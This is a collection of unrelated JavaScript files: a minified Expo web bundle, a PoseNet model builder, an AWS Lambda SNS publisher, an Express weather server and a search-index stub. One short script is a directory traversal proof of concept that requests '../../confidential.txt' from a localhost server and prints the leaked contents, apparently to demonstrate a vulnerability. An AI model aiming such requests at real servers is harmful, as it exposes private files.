u=n[a],f=r.hasOwnProperty(a);if(c(f,a),s.hasOwnProperty(a))s[a](e,u);else{var d=l.hasOwnProperty(a);if("function"===typeof u&&!d&&!f&&!1!==n.autobind)o.push(a,u),r[a]=u;else if(f){var m=l[a];i(d&&("DEFINE_MANY_MERGED"===m||"DEFINE_MANY"===m),"ReactClass: Unexpected spec policy %s for key %s when mixing in component specs.",m,a),"DEFINE_MANY_MERGED"===m?r[a]=p(r[a],u):"DEFINE_MANY"===m&&(r[a]=h(r[a],u))}else r[a]=u}}}else;}function d(e,t){for(var n in i(e&&t&&"object"===typeof e&&"object"===typeof t,"mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects."),t)t.hasOwnProperty(n)&&(i(void 0===e[n],"mergeIntoWithNoDuplicateKeys(): Tried to merge two objects with the same key: `%s`. This conflict may be due to a mixin; in particular, this may be caused by two getInitialState() or getDefaultProps() methods returning objects with clashing keys.",n),e[n]=t[n]);return e}function p(e,t){return function(){var n=e.apply(this,arguments),r=t.apply(this,arguments);if(null==n)return r;if(null==r)return n;var o={};return d(o,n),d(o,r),o}}function h(e,t){return function(){e.apply(this,arguments),t.apply(this,arguments)}}function m(e,t){return t.bind(e)}var g={componentDidMount:function(){this.__isMounted=!0}},v={componentWillUnmount:function(){this.__isMounted=!1}},y={replaceState:function(e,t){this.updater.enqueueReplaceState(this,e,t)},isMounted:function(){return!!this.__isMounted}},b=function(){};return r(b.prototype,e.prototype,y),function(e){var t=function(e,r,a){this.__reactAutoBindPairs.length&&function(e){for(var t=e.__reactAutoBindPairs,n=0;n<t.length;n+=2){var r=t[n],o=t[n+1];e[r]=m(e,o)}}(this),this.props=e,this.context=r,this.refs=o,this.updater=a||n,this.state=null;var l=this.getInitialState?this.getInitialState():null;i("object"===typeof l&&!Array.isArray(l),"%s.getInitialState(): must return an object or null",t.displayName||"ReactCompositeComponent"),this.state=l};for(var r in t.prototype=new b,t.prototype.constructor=t,t.prototype.__reactAutoBindPairs=[],a.forEach(f.bind(null,t)),f(t,g),f(t,e),f(t,v),t.getDefaultProps&&(t.defaultProps=t.getDefaultProps()),i(t.prototype.render,"createClass(...): Class specification must implement a `render` method."),l)t.prototype[r]||(t.prototype[r]=null);return t}}},function(e,t,n){"use strict";e.exports={}},function(e,t,n){"use strict";e.exports=function(e,t,n,r,o,i,a,l){if(!e){var u;if(void 0===t)u=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var s=[n,r,o,i,a,l],c=0;(u=new Error(t.replace(/%s/g,(function(){return s[c++]})))).name="Invariant Violation"}throw u.framesToPop=1,u}}},function(e,t,n){"use strict";n.r(t);var r=n(9),o=n(23),i=n.n(o),a=n(61),l=n.n(a),u=n(62),s=n.n(u),c=n(40),f=n(52),d=n.n(f),p=n(53),h=n.n(p),m=new d.a,g="EXPO_CONSTANTS_INSTALLATION_ID",v=h()(),y={get name(){return"ExponentConstants"},get appOwnership(){return"expo"},get installationId(){var e;try{null!=(e=localStorage.getItem(g))&&"string"===typeof e||(e=h()(),localStorage.setItem(g,e))}catch(t){e=v}finally{return e}},get sessionId(){return v},get platform(){return{web:c.canUseDOM?d()(navigator.userAgent):void 0}},get isHeadless(){return!1},get isDevice(){return!0},get isDetached(){return!1},get expoVersion(){return this.manifest.sdkVersion||null},get linkingUri(){return c.canUseDOM?location.origin+location.pathname:""},get expoRuntimeVersion(){return this.expoVersion},get deviceName(){var e=m.getResult(),t=e.browser,n=e.engine,r=e.os;return t.name||n.name||r.name||void 0},get nativeAppVersion(){return null},get nativeBuildVersion(){return null},get systemFonts(){return[]},get statusBarHeight(){return 0},get deviceYearClass(){return null},get manifest(){return{name:"Belgradian",slug:"belgradian",privacy:"unlisted",sdkVersion:"36.0.0",platforms:["ios","android","web"],version:"1.0.0",orientation:"portrait",icon:"./assets/icon.png",splash:{image:"./assets/splash.png",resizeMode:"contain",backgroundColor:"#ffffff"},updates:{fallbackToCacheTimeout:0},assetBundlePatterns:["**/*"],web:{background_color:"#ffffff",dir:"auto",display:"standalone",lang:"en",name:"Belgradian",orientation:"portrait",prefer_related_applications:!0,related_applications:[{platform:"play",url:"http://play.google.com/store/apps/details?id=com.slowserbian.belgradian",id:"com.slowserbian.belgradian"}],short_name:"Belgradian",start_url:".",icons:[{src:"/sgt/apple/splash/icon_1125x2436.png",sizes:"1125x2436",type:"image/png"},{src:"/sgt/apple/splash/icon_1136x640.png",sizes:"1136x640",type:"image/png"},{src:"/sgt/apple/splash/icon_1242x2208.png",sizes:"1242x2208",type:"image/png"},{src:"/sgt/apple/splash/icon_1242x2688.png",sizes:"1242x2688",type:"image/png"},{src:"/sgt/apple/splash/icon_1334x750.png",sizes:"1334x750",type:"image/png"},{src:"/sgt/apple/splash/icon_1792x828.png",sizes:"1792x828",type:"image/png"},{src:"/sgt/apple/icons/icon_180x180.png",sizes:"180x180",type:"image/png"},{src:"/sgt/apple/icons/icon_192x192.png",sizes:"192x192",type:"image/png"},{src:"/sgt/apple/splash/icon_2208x1242.png",sizes:"2208x1242",type:"image/png"},{src:"/sgt/apple/splash/icon_2436x1125.png",sizes:"2436x1125",type:"image/png"},{src:"/sgt/apple/splash/icon_2688x1242.png",sizes:"2688x1242",type:"image/png"},{src:"/sgt/apple/icons/icon_512x512.png",sizes:"512x512",type:"image/png"},{src:"/sgt/apple/splash/icon_640x1136.png",sizes:"640x1136",type:"image/png"},{src:"/sgt/apple/splash/icon_750x1334.png",sizes:"750x1334",type:"image/png"},{src:"/sgt/apple/splash/icon_828x1792.png",sizes:"828x1792",type:"image/png"}]}}||{}},get experienceUrl(){return c.canUseDOM?location.origin+location.pathname:""},get debugMode(){return!1},getWebViewUserAgentAsync:function(){return s.a.async((function(e){for(;;)switch(e.prev=e.next){case 0:if(!c.canUseDOM){e.next=4;break}return e.abrupt("return",navigator.userAgent);case 4:return e.abrupt("return",null);case 5:case"end":return e.stop()}}),null,null,null,Promise)}};function b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}y||console.warn("No native ExponentConstants module found, are you sure the expo-constants's module is linked properly?");var w=null;y&&y.manifest&&"string"===typeof(w=y.manifest)&&(w=JSON.parse(w));var E=y||{},x=(E.name,l()(E,["name"])),S=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?b(Object(n),!0).forEach((function(t){i()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):b(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},x,{manifest:w,deviceId:x.installationId,linkingUrl:x.linkingUri}),T=!0;if(r.a,T&&(!S||!S.expoVersion))throw new Error("The Expo SDK requires Expo to run. It appears the native Expo modules are unavailable and this code is not running on Expo. Visit https://docs.expo.io to learn more about developing an Expo project.");var O=n(5),k=n.n(O),_=n(20),P=_.unmountComponentAtNode,R=n(4),C=n(3),N=n(0),A=n(1),j=n.n(A);var D=function(e){var t,n;function r(){for(var t,n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r))||this).state={mainKey:1},t}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var o=r.prototype;return o.getChildContext=function(){return{rootTag:this.props.rootTag}},o.render=function(){var e=this.props,t=e.children,n=e.WrapperComponent,r=j.a.createElement(C.a,{children:t,key:this.state.mainKey,pointerEvents:"box-none",style:L.appContainer});return n&&(r=j.a.createElement(n,null,r)),j.a.createElement(C.a,{pointerEvents:"box-none",style:L.appContainer},r)},r}(A.Component);D.childContextTypes={rootTag:N.any},D.propTypes={};var L=R.a.create({appContainer:{flex:1}}),I=_.hydrate,M=n(17);function z(){return(z=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var F=I;var U,B={},W={},H=function(e){return e()},V=function(){function e(){}return e.getAppKeys=function(){return Object.keys(W)},e.getApplication=function(e,t){return k()(W[e]&&W[e].getApplication,"Application "+e+" has not been registered. This is either due to an import error during initialization or failure to call AppRegistry.registerComponent."),W[e].getApplication(t)},e.registerComponent=function(e,t){return W[e]={getApplication:function(e){return n=H(t),r=e?e.initialProps:B,o=U&&U(e),{element:j.a.createElement(D,{WrapperComponent:o,rootTag:{}},j.a.createElement(n,r)),getStyleElement:function(e){var t=M.a.getStyleSheet();return j.a.createElement("style",z({},e,{dangerouslySetInnerHTML:{__html:t.textContent},id:t.id}))}};var n,r,o},run:function(e){return n=H(t),r=e.initialProps||B,o=e.rootTag,i=U&&U(e),a=e.callback,k()(o,"Expect to have a valid rootTag, instead got ",o),void F(j.a.createElement(D,{WrapperComponent:i,rootTag:o},j.a.createElement(n,r)),o,a);var n,r,o,i,a}},e},e.registerConfig=function(t){t.forEach((function(t){var n=t.appKey,r=t.component,o=t.run;o?e.registerRunnable(n,o):(k()(r,"No component provider passed in"),e.registerComponent(n,r))}))},e.registerRunnable=function(e,t){return W[e]={run:t},e},e.runApplication=function(e,t){k()(W[e]&&W[e].run,'Application "'+e+'" has not been registered. This is either due to an import error during initialization or failure to call AppRegistry.registerComponent.'),W[e].run(t)},e.setComponentProviderInstrumentationHook=function(e){H=e},e.setWrapperComponentProvider=function(e){U=e},e.unmountApplicationComponentAtRootTag=function(e){P(e)},e}(),Y=console.warn;console.warn=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];t.length>0&&"string"===typeof t[0]&&(/^Require cycle: .*node_modules/.test(t[0])||/Use UIManager\.getViewManagerConfig\('LottieAnimationView'\) instead\./.test(t[0])||/ReactNative\.NativeModules\.LottieAnimationView\.getConstants/.test(t[0]))||Y.apply(console,t)};var G=console.error;console.error=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];t.length>0&&"string"===typeof t[0]&&/^Warning: .* has been extracted/.test(t[0])||G.apply(console,t)};var $=n(44),X=n.n($),K=n(25),q=n.n(K),Q=n(26),J=n.n(Q),Z=n(27),ee=n.n(Z),te=n(28),ne=n.n(te),re=n(29),oe=n.n(re);var ie={get name(){return"ExpoErrorRecovery"},saveRecoveryProps:function(e){localStorage.setItem("EXPO_ERROR_RECOVERY_STORAGE",e)},recoveredProps:function(){var e=localStorage.getItem("EXPO_ERROR_RECOVERY_STORAGE");return localStorage.removeItem("EXPO_ERROR_RECOVERY_STORAGE"),e}()};var ae=function(){if(ie.recoveredProps)return JSON.parse(ie.recoveredProps);return null}();function le(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ue(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?le(Object(n),!0).forEach((function(t){i()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):le(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}(function(e){var t,n=(t=e,function(e){function n(){return q()(this,n),ee()(this,ne()(n).apply(this,arguments))}return oe()(n,e),J()(n,[{key:"render",value:function(){var e=ue({},this.props,{exp:ue({},this.props.exp,{errorRecovery:ae})});return A.createElement(t,e)}}]),n}(A.Component)),r=function(e){return A.createElement(n,X()({exp:{}},e))};V.registerComponent("main",(function(){return r}));var o=document.getElementById("root")||document.getElementById("main");V.runApplication("main",{rootTag:o})})(n(82).a)}]]);
//# sourceMappingURL=../../6d768082db1ea7caafb2.map
|
/**
* Author: Liang Gong
*/
(function() {
var http = require('http');
var colors = require('colors');
var content;
var url = 'http://localhost:8000/../../confidential.txt';
console.log('\t[' + 'directory traversal attack'.green + ']: ' + url);
var content = '';
http.get(url, (res) => {
res.on('data', (chunk) => {
content += chunk.toString('utf-8');
});
res.on('end', () => {
console.log('\t[' + 'directory traversal request response'.green + ']: ' + content.toString('utf-8').red);
});
});
})();
|
class PoseNet {
constructor(modelArch, version, useAtrousConv, outputStride, inputShape, type, cacheMap, backend, prefer) {
this._modelArch = modelArch;
this._model = null;
this._compilation;
this._execution;
this._tensorIds = [];
this._operandIndex = 0;
this._version = version;
this._useAtrousConv = useAtrousConv;
this._outputStride = outputStride;
this._inputShape = inputShape;
this._outputLayer = [];
this._type = type;
this._inputTensorId;
this._outputTensorId;
this._cacheMap = cacheMap;
this._backend = backend;
this._prefer = prefer;
this._requiredOps = new Set();
if (this._backend === 'WebML') {
if (nnNative === null) {
throw Error('Fails to initialize neural network context');
}
this._nn = nnNative;
} else if (this._backend === 'WASM' || this._backend === 'WebGL') {
this._nn = nnPolyfill;
}
}
async createCompiledModel() {
let options = {
backend: this._backend,
eager: eager || false,
supportedOps: supportedOps,
};
this._model = await this._nn.createModel(options);
await this._addTensorOperands();
await this._model.finish();
this._compilation = await this._model.createCompilation();
let start = performance.now();
this._compilation.setPreference(getPreferCode(this._backend, this._prefer));
await this._compilation.finish();
this._execution = await this._compilation.createExecution();
let elapsed = performance.now() - start;
console.log(`compilation time: ${elapsed.toFixed(2)} ms`);
}
async computeSinglePose(inputTensor, heatmapTensor, offsetTensor) {
this._execution.setInput(0, inputTensor);
this._execution.setOutput(0, heatmapTensor);
this._execution.setOutput(1, offsetTensor);
let error = await this._execution.startCompute();
if (error) {
return error;
}
return 'success';
}
async computeMultiPose(inputTensor, heatmapTensor, offsetTensor, displacementFwd, displacementBwd) {
this._execution.setInput(0, inputTensor);
this._execution.setOutput(0, heatmapTensor);
this._execution.setOutput(1, offsetTensor);
this._execution.setOutput(2, displacementFwd);
this._execution.setOutput(3, displacementBwd);
let error = await this._execution.startCompute();
if (error) {
return error;
}
return 'success';
}
_addOperation(opType, inputs, outputs) {
this._requiredOps.add(opType);
this._model.addOperation(opType, inputs, outputs);
}
async _addTensorOperands() {
/**
* Set model input and output layer
* Output:
* Single Person: heatmap, offset
* Multi Person: heatmap, offset, forward displacement, backward displacement
*/
this._modelArch = toOutputStridedLayers(this._modelArch, this._outputStride);
let dimensionOut;
let dimensionIn = this._inputShape;
const type = this._nn.TENSOR_FLOAT32;
const heatmapDimension = [1, (this._inputShape[1]-1)/this._modelArch[13].outputStride+1, (this._inputShape[2]-1)/this._modelArch[13].outputStride+1, 17];
const heatmap = {type: type, dimensions: heatmapDimension};
const offsetDimension = [1, (this._inputShape[1]-1)/this._modelArch[13].outputStride+1, (this._inputShape[2]-1)/this._modelArch[13].outputStride+1, 34];
const offset = {type: type, dimensions: offsetDimension};
let input = {type:type, dimensions: this._inputShape};
this._inputTensorId = this._operandIndex++;
this._model.addOperand(input);
this._outputTensorId = [];
this._outputTensorId.push(this._operandIndex++);
this._model.addOperand(heatmap);
this._outputTensorId.push(this._operandIndex++);
this._model.addOperand(offset);
if (this._type === "Multiperson") {
const displacement_fwd_dimension = [1, (this._inputShape[1]-1)/this._modelArch[13].outputStride+1, (this._inputShape[2]-1)/this._modelArch[13].outputStride+1, 32];
const displacement_bwd_dimension = [1, (this._inputShape[1]-1)/this._modelArch[13].outputStride+1, (this._inputShape[2]-1)/this._modelArch[13].outputStride+1, 32];
const displacement_fwd = {type:type, dimensions:displacement_fwd_dimension};
const displacement_bwd = {type:type, dimensions:displacement_bwd_dimension};
this._outputTensorId.push(this._operandIndex++);
this._model.addOperand(displacement_fwd);
this._outputTensorId.push(this._operandIndex++);
this._model.addOperand(displacement_bwd);
}
this._model.identifyInputsAndOutputs([this._inputTensorId], this._outputTensorId);
let outputLayerIndex = 0;
let manifest = await fetchDataByUrl(getURL(this._version)+"manifest.json", false);
manifest = JSON.parse(manifest);
for (let i in this._modelArch) {
this._calculateProgress(Number(i)+1, this._modelArch.length);
let dimensionWeights = [];
let weights = [];
let dimensionBias = [];
let bias = [];
let inputs = [];
if (this._modelArch[i]["convType"] === "conv2d") {
if (i == 0) {
inputs.push(this._inputTensorId);
} else {
inputs.push(this._outputLayer[outputLayerIndex]);
outputLayerIndex++;
}
/**
* data = {
* shapeWeights,
* weights,
* shapeBias,
* bias
* }
*/
const data = await getDimensionData("conv2d", this._version, i, manifest, this._cacheMap);
dimensionWeights.push(reshape(data.shapeWeights));
weights.push(new Float32Array(transposeWeights(data.weights, data.shapeWeights)));
dimensionBias.push(data.shapeBias);
bias.push(data.bias);
dimensionOut = this._calculateOutput(dimensionIn, dimensionWeights[0],
this._modelArch[i]["stride"], "conv2d");
dimensionIn = dimensionOut;
this._outputLayer.push(this._operandIndex);
this._model.addOperand({type: type, dimensions: dimensionOut});
this._operandIndex++;
}
// separableConv = [Depthwise Convolution, Pointwise Convolution]
if (this._modelArch[i]["convType"] === "separableConv") {
if (i == 0) {
inputs.push(this._inputTensorId);
} else {
inputs.push(this._outputLayer[outputLayerIndex]);
outputLayerIndex++;
}
const data = await getDimensionData("separableConv", this._version, i, manifest, this._cacheMap);
if (this._useAtrousConv || this._modelArch[i].rate === 1) {
dimensionWeights.push(reshape(data.shapeWeights[0]));
dimensionWeights.push(reshape(data.shapeWeights[1]));
weights.push(new Float32Array(transposeWeights(data.weights[0], data.shapeWeights[0])));
weights.push(new Float32Array(transposeWeights(data.weights[1], data.shapeWeights[1])));
dimensionBias.push(data.shapeBias[0]);
dimensionBias.push(data.shapeBias[1]);
bias.push(data.bias[0]);
bias.push(data.bias[1]);
dimensionOut = this._calculateOutput(dimensionIn, dimensionWeights[0],
this._modelArch[i]["stride"], "depthwise");
}
else {
const dilationData = dilationWeights(new Float32Array(transposeWeights(data.weights[0], data.shapeWeights[0])),
reshape(data.shapeWeights[0]), this._modelArch[i].rate);
dimensionWeights.push(dilationData.dimension);
dimensionWeights.push(reshape(data.shapeWeights[1]));
weights.push(dilationData.dilationWeights);
weights.push(new Float32Array(transposeWeights(data.weights[1], data.shapeWeights[1])));
dimensionBias.push(data.shapeBias[0]);
dimensionBias.push(data.shapeBias[1]);
bias.push(data.bias[0]);
bias.push(data.bias[1]);
dimensionOut = this._calculateOutput(dimensionIn, reshape(data.shapeWeights[0]),
this._modelArch[i]["stride"], "depthwise");
}
dimensionIn = dimensionOut;
this._outputLayer.push(this._operandIndex);
this._model.addOperand({type:type, dimensions: dimensionOut});
this._operandIndex++;
dimensionOut = this._calculateOutput(dimensionIn, dimensionWeights[1], 1, "pointwise");
dimensionIn = dimensionOut;
this._outputLayer.push(this._operandIndex);
this._model.addOperand({type:type, dimensions: dimensionOut});
this._operandIndex++;
}
for (let j in dimensionWeights) {
let tensorId = this._operandIndex++;
let tensorTypeWeights = {type: type, dimensions: dimensionWeights[j]};
this._model.addOperand(tensorTypeWeights);
this._model.setOperandValue(tensorId, weights[j]);
inputs.push(tensorId);
tensorId = this._operandIndex++;
let tensorTypeBias = {type: type, dimensions: dimensionBias[j]};
this._model.addOperand(tensorTypeBias);
this._model.setOperandValue(tensorId, bias[j]);
inputs.push(tensorId);
if (this._modelArch[i].convType === "conv2d") {
let outputs = this._outputLayer[outputLayerIndex];
const paddingCode = this._nn.PADDING_SAME;
const fuseCode = this._nn.FUSED_RELU6;
inputs.push(this._addScalarInt32(paddingCode));
inputs.push(this._addScalarInt32(this._modelArch[i].stride));
inputs.push(this._addScalarInt32(this._modelArch[i].stride));
inputs.push(this._addScalarInt32(fuseCode));
const opType = this._nn.CONV_2D;
this._addOperation(opType, inputs, [outputs]);
} else if (this._modelArch[i].convType === "separableConv") {
const paddingCode = this._nn.PADDING_SAME;
const fuseCode = this._nn.FUSED_RELU6;
if (j == 0) {
let opType;
const multiplier = 1;
let outputs = this._outputLayer[outputLayerIndex];
inputs.push(this._addScalarInt32(paddingCode));
if (this._useAtrousConv && this._modelArch[i].rate !== 1) {
inputs.push(this._addScalarInt32(this._modelArch[i].rate));
inputs.push(this._addScalarInt32(this._modelArch[i].rate));
opType = this._nn.ATROUS_DEPTHWISE_CONV_2D;
} else {
inputs.push(this._addScalarInt32(this._modelArch[i].stride));
inputs.push(this._addScalarInt32(this._modelArch[i].stride));
opType = this._nn.DEPTHWISE_CONV_2D;
}
inputs.push(this._addScalarInt32(multiplier));
inputs.push(this._addScalarInt32(fuseCode));
this._addOperation(opType, inputs, [outputs]);
inputs = [];
} else {
const stride = 1;
inputs.unshift(this._outputLayer[outputLayerIndex]);
outputLayerIndex++;
const opType = this._nn.CONV_2D;
let outputs = this._outputLayer[outputLayerIndex];
inputs.push(this._addScalarInt32(paddingCode));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(fuseCode));
this._addOperation(opType, inputs, [outputs]);
}
}
}
}
// add operation and operands for output layer
let tensorTypeWeights, tensorTypeBias;
let valueWeights, valueBias;
let inputs = [];
const stride = 1;
inputs.push(this._outputLayer[this._outputLayer.length-1]);
let data = await getDimensionData("heatmap", this._version, 0, manifest, this._cacheMap);
tensorTypeWeights = {type: type, dimensions: reshape(data.shapeWeights)};
tensorTypeBias = {type: type, dimensions: data.shapeBias};
valueWeights = new Float32Array(transposeWeights(data.weights, data.shapeWeights));
valueBias = data.bias;
let tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeWeights);
this._model.setOperandValue(tensorId, valueWeights);
inputs.push(tensorId);
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeBias);
this._model.setOperandValue(tensorId, valueBias);
inputs.push(tensorId);
inputs.push(this._addScalarInt32(this._nn.PADDING_SAME));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(this._nn.FUSED_NONE));
let outputs = this._outputTensorId[0];
this._addOperation(this._nn.CONV_2D, inputs, [outputs]);
// add operands for offset layer
inputs = [];
inputs.push(this._outputLayer[this._outputLayer.length-1]);
data = await getDimensionData("offset", this._version, 0, manifest, this._cacheMap)
tensorTypeWeights = {type: type, dimensions: reshape(data.shapeWeights)};
tensorTypeBias = {type: type, dimensions: data.shapeBias};
valueWeights = new Float32Array(transposeWeights(data.weights, data.shapeWeights));
valueBias = data.bias;
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeWeights);
this._model.setOperandValue(tensorId, valueWeights);
inputs.push(tensorId);
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeBias);
this._model.setOperandValue(tensorId, valueBias);
inputs.push(tensorId);
inputs.push(this._addScalarInt32(this._nn.PADDING_SAME));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(this._nn.FUSED_NONE));
outputs = this._outputTensorId[1];
this._addOperation(this._nn.CONV_2D, inputs, [outputs]);
if (this._type === "Multiperson") {
inputs = [];
inputs.push(this._outputLayer[this._outputLayer.length-1]);
data = await getDimensionData("displacement_fwd", this._version, 0, manifest, this._cacheMap)
tensorTypeWeights = {type: type, dimensions: reshape(data.shapeWeights)};
tensorTypeBias = {type: type, dimensions: data.shapeBias};
valueWeights = new Float32Array(transposeWeights(data.weights, data.shapeWeights));
valueBias = data.bias;
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeWeights);
this._model.setOperandValue(tensorId, valueWeights);
inputs.push(tensorId);
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeBias);
this._model.setOperandValue(tensorId, valueBias);
inputs.push(tensorId);
inputs.push(this._addScalarInt32(this._nn.PADDING_SAME));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(this._nn.FUSED_NONE));
outputs = this._outputTensorId[2];
this._addOperation(this._nn.CONV_2D, inputs, [outputs]);
inputs = [];
inputs.push(this._outputLayer[this._outputLayer.length-1]);
data = await getDimensionData("displacement_bwd", this._version, 0, manifest, this._cacheMap)
tensorTypeWeights = {type: type, dimensions: reshape(data.shapeWeights)};
tensorTypeBias = {type: type, dimensions: data.shapeBias};
valueWeights = new Float32Array(transposeWeights(data.weights, data.shapeWeights));
valueBias = data.bias;
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeWeights);
this._model.setOperandValue(tensorId, valueWeights);
inputs.push(tensorId);
tensorId = this._operandIndex++;
this._model.addOperand(tensorTypeBias);
this._model.setOperandValue(tensorId, valueBias);
inputs.push(tensorId);
inputs.push(this._addScalarInt32(this._nn.PADDING_SAME));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(stride));
inputs.push(this._addScalarInt32(this._nn.FUSED_NONE));
outputs = this._outputTensorId[3];
this._addOperation(this._nn.CONV_2D, inputs, [outputs]);
}
}
_calculateOutput(inputDimension, shape, stride, layer) {
let outputDimension;
if (layer === "conv2d") {
outputDimension = [1, Math.floor((inputDimension[1]-shape[1]+2)/stride+1),
Math.floor((inputDimension[2]-shape[2]+2)/stride+1), shape[0]];
} else if (layer === "depthwise") {
outputDimension = [1, Math.floor((inputDimension[1]-shape[1]+2)/stride+1),
Math.floor((inputDimension[2]-shape[2]+2)/stride+1), inputDimension[3]];
} else {
outputDimension = [1, Math.floor((inputDimension[1]-shape[1]+0)/stride+1),
Math.floor((inputDimension[2]-shape[2]+0)/stride+1), shape[0]];
}
return outputDimension;
}
_addScalarInt32(value) {
const scalarInt32Type = {type: this._nn.INT32};
let index = this._operandIndex++;
this._model.addOperand(scalarInt32Type);
this._model.setOperandValue(index, new Int32Array([value]));
return index;
}
_calculateProgress(current, length) {
let progressBar = document.getElementById('progressBar');
let progressContainer = document.getElementById('progressContainer');
if (progressBar !== null && progressContainer !== null) {
let totalSize = length;
let loadedSize = current;
let percentComplete = current / length *100;
percentComplete = percentComplete.toFixed(0);
progressBar.style = `width: ${percentComplete}%`;
updateLoadingSD(loadedSize.toFixed(0), totalSize.toFixed(0), percentComplete);
}
}
getRequiredOps() {
return this._requiredOps;
}
}
|
const SNS = require('@dazn/lambda-powertools-sns-client')
const firehoseProcessor = require('@dazn/lambda-powertools-pattern-basic')
module.exports.handler = firehoseProcessor(async (event, context) => {
console.log(JSON.stringify(event))
const events = context.parsedFirehoseEvents
await Promise.all(events.map(evt => {
evt.correlationIds.set('sns-sender', 'firehose')
// event has a `logger` attached to it, with the specific correlation IDs for that record
evt.logger.debug('publishing firehose event as SNS message...', { event: evt })
const req = {
Message: JSON.stringify(evt),
TopicArn: process.env.TOPIC_ARN
}
return SNS.publishWithCorrelationIds(evt.correlationIds, req).promise()
}))
})
|
// Load-in env variables
if (process.env.NODE_ENV !== "production") {
require("dotenv").config();
}
/**
* Api key is accessed via .env file and this key is accessed
* in server.js to avoid exposure via 'devTools'.
*/
const OpenWeatherMapApiKey = process.env.OpenWeatherMapApiKey;
// Setup empty JS object to act as endpoint for all routes
let projectData = {};
// Express to run server and routes
const express = require("express");
// Module to enable request via hyper text transfer protocol
const http = require("http");
// HTTP request logger middleware for node.js
const morgan = require("morgan");
// Type1: In-memory only datastore (no need to load the database)
var dataStore = require("nedb");
// Start up an instance of app
const app = express();
// External module to use fetch in Node js
const fetch = require("node-fetch");
/* Dependencies & Middleware */
const bodyParser = require("body-parser");
const cors = require("cors");
//Here we are configuring express to use body-parser as middle-ware.
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// Cors for cross origin allowance for proxy server
app.use(cors());
// Initialize the main project folder
app.use(express.static("website"));
// Create new database object and load database
const database = new dataStore({
filename: "src/server/weatherdatabase.db",
autoload: true,
});
database.loadDatabase();
// Setup server
const port = 8000;
const hostName = "localhost";
const localServer = http.createServer(app);
// Spin up the server
localServer.listen(port, listening);
// Callback to debug
function listening() {
console.log(`Server is running on http://${hostName}: ${port}`);
}
// Function to concatenate api call requirements for the api string
function concatAPIString(zipCode) {
const baseURL = "http://api.openweathermap.org/data/2.5/weather?zip=";
const apiString = `&appid=${OpenWeatherMapApiKey}`;
const fullApiString = `${baseURL}${zipCode},us${apiString}`;
return fullApiString;
}
// Post Route
app.post("/projectData", addWeatherData);
// Combine data from user inputs and resulting api response
function addWeatherData(req, res) {
const apiCall = concatAPIString(req.body.zipCode);
fetchWeatherData(apiCall)
.then((data) => {
console.log(data);
const [{ description, icon }] = data.weather;
const { temp, humidity } = data.main;
const name = data.name;
const tempFahrenheit = convertKelvintoFahrenheit(temp).toFixed(2);
projectData = {
STATUS: "Success",
date: req.body.date,
zipCode: req.body.zipCode,
content: req.body.content,
description: description,
temp: tempFahrenheit,
humidity: humidity,
name: name,
icon: icon,
};
database.insert(projectData);
})
.then((newProjectData) => {
res.status(200).send(newProjectData);
});
}
// Convert temperature received in kelvin to Fahrenheit
function convertKelvintoFahrenheit(temp) {
return (temp * 9) / 5 - 459.67;
}
// Function to fetch api response
async function fetchWeatherData(url) {
const response = await fetch(url);
try {
const responseData = await response.json();
return responseData;
} catch (error) {
console.error("Error:", error);
}
}
// Initialize all route with a callback function
app.get("/projectData", sendData);
// Callback function to complete GET '/all'
function sendData(req, res) {
res.status(200).send(projectData);
}
|
const ut = require("../js/utils.js");
const er = require("../js/render.js");
const od = require("../js/omnidexer.js");
class UtilSearchIndex {
/**
* Prefer "core" sources, then official sources, then others.
*/
static _sortSources (a, b) {
const aCore = Number(UtilSearchIndex.CORE_SOURCES.has(a));
const bCore = Number(UtilSearchIndex.CORE_SOURCES.has(b));
if (aCore !== bCore) return bCore - aCore;
const aStandard = Number(!SourceUtil.isNonstandardSource(a));
const bStandard = Number(!SourceUtil.isNonstandardSource(b));
return aStandard !== bStandard ? bStandard - aStandard : SortUtil.ascSortLowerSafe(a, b);
}
static async pGetIndex (doLogging = true, noFilter = false) {
